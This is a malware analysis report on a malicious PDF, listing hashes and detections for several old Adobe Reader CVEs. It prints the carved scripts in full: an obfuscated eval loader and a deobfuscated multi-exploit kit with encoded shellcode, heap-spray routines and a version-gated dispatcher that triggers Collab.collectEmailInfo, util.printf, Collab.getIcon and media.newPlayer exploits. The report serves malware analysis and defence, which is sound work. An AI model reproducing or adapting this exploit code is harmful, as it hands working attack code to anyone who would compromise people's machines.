Malicious PDF — malware analysis report

Static analysis result for SHA-256 5a055a508cc45edb…

MALICIOUS

PDF

44.9 KB First seen: 2012-09-20
MD5: e4325401453d458df6e9bbd144f6cc6c SHA-1: 70ea9acd17c5dbc7db39435cd1e4872322dea110 SHA-256: 5a055a508cc45edb0dc4fd2c1be3e344660f5d149d154ef4f61baef16ef5faf9
408 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, flagged by multiple heuristics and a high-confidence machine learning model. The JavaScript is likely intended to download and execute a second-stage payload, a common technique for initial access. No specific family could be identified from the available evidence.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 9

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB0DC 457 bytes
SHA-256: fd773edc3231218d489c3dee72a44b20192f1ad3e002b3b370eb54407be0b530
Preview script
First 1,000 lines of the extracted script
oiws='';
qwe = ('nhsthn','ntrht').substr;
var g = qwe();
t='le';
a=["e","a","n","b","w",'v'];
e=g[a[0]+a[5]+a[1]+t[0]];
e('ivbxx=t'+('qwtwqt','hisundefined').replace(typeof qwe.dagb,'.')+'tit'+t);
nmw=e('String.fro'+ivbxx.substr(1,9));
q=ivbxx[ivbxx.substr(10,4) + 'tr'](14);
suxy = e(q['re'+'pl'+a[1]+'ce'](/u/g,','));
e('k=suxy.length');
for (i = 0; i < k; i+=2) {
	eyp = suxy[i+1] + ('erybjkerl',suxy[i]);
	oiws += nmw(eyp);
}
e(oiws);
legacy_pdfkit_stage_000.js deobfuscated-js metadata title CharCode pair decoded JavaScript at offset 0x37 3672 bytes
SHA-256: b6521d28233273193f628d85203e08e3b894254643448cff82d854acae5fc7df
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 11 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var bjsg='%u9090%u9090%u16eb%u43b9%u0001%u8b00%u2434%uf789%u3e80%u74e9%uac06%uc234%ue2aa%uc3fa%ue5e8%uffff%u2bff%uc3ce%uc2c2%u439c%u9e2e%uc2c3%u4bc2%u4f25%ud28d%uad4f%uf396%u9519%u9193%u9191%u9191%u9191%u9197%uaa91%uc3c6%uc2c2%u9497%uaa91%uacad%uc2c2%ub7aa%uaeb0%u96af%u4caa%ucc8c%u2a2e%uc28a%uc2c2%u2a92%uc2be%uc2c2%u123d%u0641%uaaca%u2d8d%uc78d%u2a92%uc2ae%uc2c2%u123d%u0247%ud5b7%u96a8%u319b%uaa68%u3cb0%ud471%udf2a%uc2c2%u92c2%u932a%uc2c2%u3dc2%u9112%u3ca8%u4baa%uc3ad%u2a7f%uc2ca%uc2c2%u2a92%uc2fe%uc2c2%u123d%uf3a2%ua602%u9249%u49f2%uce90%u9049%u49d6%ueab0%uda7b%uc2c2%uf3c2%uf33d%u6e02%ua3fe%uc0be%ue2ee%u0d03%uc3cf%u2005%u4332%u993d%u887e%u49a8%ud280%ud049%u1bb7%u864b%udee6%u01a3%u49a2%ue6ae%u49e6%ufe87%u9649%ubac7%u28c3%u8849%u49da%ue298%u29c3%uf621%u498b%u49f6%u2cc3%u3df3%u02f3%u6e3e%u0246%uc5b6%u0d03%uc3cf%u2905%uf936%ue6be%ub7ea%u4923%ue698%u29c3%u49a4%u89ce%u9849%uc3de%u4929%u49c6%u2ac3%u864b%udee6%u00a3%uc2ca%u2d2a%u3d3c%uaa3d%ub6b6%uf8b2%ueded%ub0b6%ua1a3%uefa9%ua3a1%uaab1%ua1ec%uafad%ub1ed%uaaaa%ub1aa%uaaa4%ua6ed%ub2ec%ub2aa%ua4fd%uf0ff%ue4f0%uffa7%uc2f7';function ezvr(ra,qy){while(ra.length*2<qy){ra+=ra;}
ra=ra.substring(0,qy/2);return ra;} 
function bx(){var dkg=new Array();var vw=0x0c0c0c0c;var addr=0x400000;var payload=unescape(bjsg);var sc_len=payload.length*2;var qy=addr-(sc_len+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var count2=(vw-0x400000)/addr;for(var count=0;count<count2;count++){dkg[count]=yarsp+payload;} 
var overflow=unescape("%u0c0c%u0c0c");while(overflow.length<44952){overflow+=overflow;} 
this.collabStore=Collab.collectEmailInfo({subj:"",msg:overflow});} 
function printf(){nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A");var payload=unescape(bjsg);heapblock=nop+payload;bigblock=unescape("%u0A0A%u0A0A");headersize=20;spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;} 
fillblock=bigblock.substring(0,spray);block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;} 
mem=new Array();for(i=0;i<1400;i++){mem[i]=block+heapblock;} 
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);} 
function geticon(){var arry=new Array();if(app.doc.Collab.getIcon){var payload=unescape(bjsg);var hWq500CN=payload.length*2;var qy=0x400000-(hWq500CN+0x38);var yarsp=unescape("%u9090%u9090");yarsp=ezvr(yarsp,qy);var p5AjK65f=(0x0c0c0c0c-0x400000)/0x400000;for(var vqcQD96y=0;vqcQD96y<p5AjK65f;vqcQD96y++){arry[vqcQD96y]=yarsp+payload;} 
var tUMhNbGw=unescape("%09");while(tUMhNbGw.length<0x4000){tUMhNbGw+=tUMhNbGw;} 
tUMhNbGw="N."+tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}} 
aPlugins=app.plugIns;var sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} 
if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}
var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} 
if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}
d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}
a();a();try{this.media.newPlayer(null);}catch(e){}
a();}}

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